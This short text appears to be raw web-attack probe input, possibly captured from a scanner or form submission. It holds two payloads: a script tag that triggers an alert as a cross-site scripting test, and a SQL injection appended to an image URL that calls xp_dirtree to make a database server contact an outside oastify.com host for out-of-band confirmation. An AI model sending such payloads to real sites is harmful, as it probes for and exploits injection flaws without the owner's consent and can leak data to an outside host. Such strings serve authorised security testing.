<script>alert('test');</script>

https://i.ss.com/img/main/transport.png');declare @q varchar(99);set @q='\\tmjas5jeq8ywacmw6sf3nieig9m7azcr0it6ltnhc.oasti'+'fy.com\izz'; exec master.dbo.xp_dirtree @q;--